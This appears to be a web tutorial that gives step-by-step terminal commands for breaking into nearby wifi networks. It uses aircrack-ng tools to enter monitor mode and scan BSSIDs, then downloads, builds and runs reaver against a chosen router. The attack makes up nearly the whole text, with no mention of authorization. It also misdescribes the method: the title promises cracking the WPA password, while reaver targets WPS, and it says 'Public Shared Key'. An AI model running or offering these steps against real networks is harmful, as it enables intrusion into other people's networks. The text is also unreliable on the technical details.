How to crack WPA/WPA2 wifi password

How to crack WPA/WPA2 wifi password

 Using the terminal:

1. Download aircrack-ng:

    sudo apt-get install aircrack-ng

2. Put Wifi adapter into monitor mode:

    sudo airmon-ng start wlan0

3. Use airodump-ng to scan for WPA/WPA2 encrypted network BSSIDs:

    sudo airodump-ng mon0

 4. <crtl+c> after a few seconds or once a list of BSSIDs has populated, it should look like this:


The BSSIDs are listed on the left, these are the IDs for the various surrounding networks. Pick one which is WPA/WPA2 and uses a Public Shared Key (PSK).

Don't close this terminal, open up a new terminal and use this now instead.

READ STEPS 5-8 OR JUST COPY AND PASTE THIS INTO YOUR TERMINAL AND THEN SKIP TO STEP 9:

    sudo apt-get install libsqlite3-dev && wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz && tar xfvz reaver-1.4.tar.gz && cd reaver-1.4/src/ && ./configure && make && sudo make install

5. Download and install libsqlite3-dev:

    sudo apt-get install libsqlite3-dev

 6. Download reaver:

    wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

7. Extract reaver tar.gz file:

    tar xfvz reaver-1.4.tar.gz

8. Install reaver:

    cd reaver-1.4/src/ && ./configure && make && sudo make install

9. Get cracking! Copy the BSSID you chose from the other open terminal and enter it in like this:

    sudo reaver -i mon0 -b <paste BSSID here!!> -vv

-i mon0 = use the mon0 interface which is your wifi adapter in monitor mode.
-b "some BSSID" = the router to crack.
-vv = give very verbose output.

10. Now wait from around 4-10 hours as it cracks the network key!
